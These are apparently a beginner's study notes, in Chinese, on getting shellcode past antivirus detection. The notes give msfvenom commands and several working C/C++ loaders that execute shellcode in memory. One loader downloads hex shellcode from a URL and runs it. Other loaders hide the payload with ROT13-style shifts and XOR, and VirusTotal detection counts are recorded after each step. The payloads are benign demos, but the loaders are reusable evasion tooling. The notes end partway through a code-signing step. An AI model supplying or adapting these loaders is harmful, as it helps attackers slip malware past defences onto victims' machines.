新手学习记录
文章目录
- 静态检测
- msf生成sheelcode
- 常规sheelcodeloader
- 空shellcode
- messagebox
- remote 远程加载shellcode文件
- 空shellcode
- 弹窗 messagebox
- shellcode混淆
- 使用 ROT13密码 位移13位
- base编码
- XOR异或
- 签名
- 删除链接库
- 切换到x64环境
- 参考链接:
静态检测
反恶意软件解决方案可以用三种类型的检测机制:
1.基于签名的检测-静态检查文件校验和(MD5,SHA1等)以及二进制文件中是否存在已知字符串或字节序列。
2.启发式检测-(通常)对应用程序行为进行静态分析并识别潜在的恶意特征(例如,使用通常与恶意软件相关联的特定功能)。
3.沙盒-对程序进行动态分析,该程序在受控环境(沙盒)中执行,其行为受监视。
存在逃避不同检测机制的多种技术。例如:
1.多态(或至少经常重新编译)的恶意软件可以逃过基于签名的检测。
2.对代码流的混淆可以逃避基于启发式的检测。
3.基于环境检查的条件语句可以检测并绕过沙盒。
4.敏感信息的编码或加密有助于绕过基于签名的检测和启发式检测。
msf生成sheelcode
linux下一键安装msf:https://www.cnblogs.com/qtzd/p/16413870.html
msfvenom -p windows/exec cmd=calc.exe -f raw -o shellcode.bin
msfvenom -p windows/exec cmd=calc.exe -f c
msfvenom -p windows/x64/messagebox TEXT="helloworld!" -f c
下面是弹出消息的sheelcode:
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
"\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
"\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
常规sheelcodeloader
空shellcode
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
//shellcode在main函数内,存储在pe结构的sections table中的.text部分
unsigned char payload[] = {};
unsigned int payload_len = sizeof(payload);
// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将shellcode复制到申请的内存中,这里还可以用memcpy等
RtlMoveMemory(exec_mem, payload, payload_len);
// 使用VirtualProtect添加执行权限
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// 如果返回正常,创建线程执行shellcode
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
hash-sha256:2555dae75e85e541e6e48725a1eeee67c3b2af55dafa39a7d9671bd2212d4995
VT 10/74:https://www.virustotal.com/gui/file/2555dae75e85e541e6e48725a1eeee67c3b2af55dafa39a7d9671bd2212d4995?nocache=1
messagebox
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
//shellcode在main函数内,存储在pe结构的sections table中的.text部分
unsigned char payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
"\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
"\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
unsigned int payload_len = sizeof(payload);
// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将shellcode复制到申请的内存中,这里还可以用memcpy等
RtlMoveMemory(exec_mem, payload, payload_len);
// 使用VirtualProtect添加执行权限
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// 如果返回正常,创建线程执行shellcode
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
hash-sha256:b1530c5b4a97bc5c6ddab4be90e75c202b55c77d0ac5c3fe8ccdab9493e9a43f
VT 查出率27/74 :https://www.virustotal.com/gui/file/b1530c5b4a97bc5c6ddab4be90e75c202b55c77d0ac5c3fe8ccdab9493e9a43f?nocache=1
remote 远程加载shellcode文件
空shellcode
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
using namespace std;
// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}
// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}
/**
* 从指定的URL下载内容并将其存储到给定的缓冲区中。
*
* @param url 要下载的URL
* @param buffer 存储下载内容的缓冲区
* @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)
*/
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
DWORD bufferSize = 0;
DWORD contentLength = 0;
DWORD index = 0;
DWORD bufferLength = sizeof(bufferSize);
// 打开一个与互联网的连接
hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
return 0;
}
// 打开一个URL连接
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
InternetCloseHandle(hInternet);
return 0;
}
// 查询HTTP响应头中的内容长度
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
std::vector<char> hexBuffer(contentLength + 1, 0);
// 读取URL返回的内容到hexBuffer中
if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
}
else if (bytesRead > 0) {
hexBuffer[bytesRead] = '\0';
// 调整buffer的大小,以便存储转换后的字节数据
buffer.resize(bytesRead / 2);
// 将十六进制字符串转换为字节型数组
hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
}
// 关闭连接
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
// 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
return bytesRead / 2;
}
int main() {
// 把这个URL换成你的shellcode文件的URL
LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt";
//存放恶意代码的数组
std::vector<unsigned char> buffer;
//获取远程url的16进制内容,并将其存放至buffer数组
size_t size = GetUrl_HexContent(url, buffer);
// 在内存中分配一块可以执行的区域
char* exec = (char*)(VirtualAlloc)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 将shellcode复制到该区域
memcpy(exec, buffer.data(), size);
// 执行该shellcode
((void(*) ())exec)();
// 打印buffer的内容,只为演示,实际使用中可能并不需要这一步
/*for (size_t i = 0; i < buffer.size(); i++) {
printf("%02X ", buffer[i]);
if ((i + 1) % 16 == 0) {
printf("\n");
}
}*/
return 0;
}
hash-sha256:580fd5d029744c260b9e03397ade6b7489b66fd78ada8b6df02711cc0af6651a
安恒沙箱:https://sandbox.dbappsecurity.com.cn/report/76f83ec2-22fd-4424-93bd-7da0ab1ae69b
弹窗 messagebox
由于是远程加载十六进制sheelcode,只需生成十六进制的sheelcode即可
admin@virtual-machine@virtual-machine:/mnt/hgfs/Desktop$ msfvenom -p windows/x64/messagebox TEXT="helloworld!" -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 317 bytes
Final size of hex file: 634 bytes
fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d3e488d8d2501000041ba4c772607ffd549c7c1000000003e488d950e0100003e4c8d851a0100004831c941ba45835607ffd54831c941baf0b5a256ffd568656c6c6f776f726c6421004d657373616765426f78007573657233322e646c6c00
把这个hex放在远程服务上sheelcode_hex.txt中
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
using namespace std;
// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}
// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}
/**
* 从指定的URL下载内容并将其存储到给定的缓冲区中。
*
* @param url 要下载的URL
* @param buffer 存储下载内容的缓冲区
* @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)
*/
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
DWORD bufferSize = 0;
DWORD contentLength = 0;
DWORD index = 0;
DWORD bufferLength = sizeof(bufferSize);
// 打开一个与互联网的连接
hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
return 0;
}
// 打开一个URL连接
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
InternetCloseHandle(hInternet);
return 0;
}
// 查询HTTP响应头中的内容长度
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
std::vector<char> hexBuffer(contentLength + 1, 0);
// 读取URL返回的内容到hexBuffer中
if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
}
else if (bytesRead > 0) {
hexBuffer[bytesRead] = '\0';
// 调整buffer的大小,以便存储转换后的字节数据
buffer.resize(bytesRead / 2);
// 将十六进制字符串转换为字节型数组
hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
}
// 关闭连接
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
// 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
return bytesRead / 2;
}
int main() {
// 把这个URL换成你的shellcode文件的URL
LPSTR url = (char*)"http://192.168.206.129/mar/mar/x64/Release/shellcode_hex.txt";
//存放恶意代码的数组
std::vector<unsigned char> buffer;
//获取远程url的16进制内容,并将其存放至buffer数组
size_t size = GetUrl_HexContent(url, buffer);
// 在内存中分配一块可以执行的区域
char* exec = (char*)(VirtualAlloc)(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 将shellcode复制到该区域
memcpy(exec, buffer.data(), size);
// 执行该shellcode
((void(*) ())exec)();
// 打印buffer的内容,只为演示,实际使用中可能并不需要这一步
/*for (size_t i = 0; i < buffer.size(); i++) {
printf("%02X ", buffer[i]);
if ((i + 1) % 16 == 0) {
printf("\n");
}
}*/
return 0;
}
hash-sha256:5b6df0cfaddd891b28e09ada4623fdb5d8691455926848992a3be6064af5acae
VT 查出率 14/74 :https://www.virustotal.com/gui/file/5b6df0cfaddd891b28e09ada4623fdb5d8691455926848992a3be6064af5acae?nocache=1
shellcode混淆
使用 ROT13密码 位移13位
编码:
#include <stdint.h>
#include <cstdio> // 包含printf的头文件
// ROT13 位移13位
void caesar_cipher(unsigned char* data, size_t length) {
for (int i = 0; i < sizeof data; i++)
{
((char*)data)[i] = (((char*)data)[i]) - 13;
}
}
void print_hex(const unsigned char* data, size_t length) {
for (size_t i = 0; i < length; ++i) {
printf("\\x%02x", data[i]); // 使用 \\x%02x 格式化字符为十六进制
}
}
int main() {
unsigned char payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
"\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
"\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
unsigned int payload_len = sizeof(payload);
caesar_cipher(payload, payload_len);
print_hex(payload, payload_len);
printf("\n");
return 0;
}
解码执行:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<iostream>
#include<cctype>
using namespace std;
//ROT13 编码 逆向位移13
void caesar_cipher(unsigned char* data, size_t length) {
for (int i = 0; i < sizeof data; i++)
{
((char*)data)[i] = (((char*)data)[i]) + 13;
}
}
int main(void) {
void* exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
//shellcode在main函数内,存储在pe结构的sections table中的.text部分
unsigned char payload[] = "\xef\x3b\x74\xd7\xe3\xf2\xf2\xf2\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x00";
unsigned int payload_len = sizeof(payload);
caesar_cipher(payload, payload_len);
// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将shellcode复制到申请的内存中,这里还可以用memcpy等
RtlMoveMemory(exec_mem, payload, payload_len);
// 使用VirtualProtect添加执行权限
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// 如果返回正常,创建线程执行shellcode
if (rv != 0) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
hash-sha256:37bada0f00bc012ff183b7a19a89481550b5a652ac55cff218df435cc64c94de
VT 查出率25/73 :
base编码
XOR异或
加密的脚本 https://github.com/Arno0x/ShellcodeWrapper 虚拟机中没有python,下面是C++实现的
异或脚本:
#include <windows.h>
#include <iostream>
#include <string>
#include <vector>
void xorData(unsigned char* data, size_t length, unsigned char* key) {
int j = 0;
for (int i = 0; i < sizeof length; i++) {
if (j == sizeof key - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
void print_hex(const unsigned char* data, size_t length) {
for (size_t i = 0; i < length; ++i) {
printf("\\x%02x", data[i]); // 使用 \\x%02x 格式化字符为十六进制
}
}
int main() {
unsigned char payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21"
"\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73"
"\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
unsigned int payload_len = sizeof(payload);
unsigned char key[] = "tidesec";
xorData(payload, payload_len, key);
print_hex(payload, payload_len);
}
shellcodeloader:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include<iostream>
#include<cctype>
using namespace std;
//XOR异或
void xorData(unsigned char* data, size_t length, unsigned char* key) {
int j = 0;
for (int i = 0; i < sizeof length; i++) {
if (j == sizeof key - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main(void) {
void* exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
//shellcode在main函数内,存储在pe结构的sections table中的.text部分
unsigned char payload[] = "\x88\x21\xe5\x81\x83\x9a\x9c\x8b\xe8\xd0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48\x8d\x8d\x25\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00\x00\x3e\x4c\x8d\x85\x1a\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff\xd5\x68\x65\x6c\x6c\x6f\x77\x6f\x72\x6c\x64\x21\x00\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00\x00";
unsigned int payload_len = sizeof(payload);
//KEY
unsigned char key[] = "tidesec";
xorData(payload, payload_len, key);
// 使用VirtualAlloc申请一个可读可写的内存,这里没有申请执行权限是为了防止出现RWX权限的敏感内存
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将shellcode复制到申请的内存中,这里还可以用memcpy等
RtlMoveMemory(exec_mem, payload, payload_len);
// 使用VirtualProtect添加执行权限
rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
// 如果返回正常,创建线程执行shellcode
if (rv != 0) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
hash-sha256 :d282d026e36c415d7ee4edabca6d71a426728708a99cc982ec42e006e2e3f61e
VT : VirusTotal - File - d282d026e36c415d7ee4edabca6d71a426728708a99cc982ec42e006e2e3f61e
签名
MakeCert.exe
C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64>MakeCert.exe
Error: Please either specify the outputCertificateFile or -ss option
Usage: MakeCert [ basic|extended options] [outputCertificateFile]
Basic Options
-sk <keyName> Subject's key container name; To be created if not present
-pe Mark generated private key as exportable
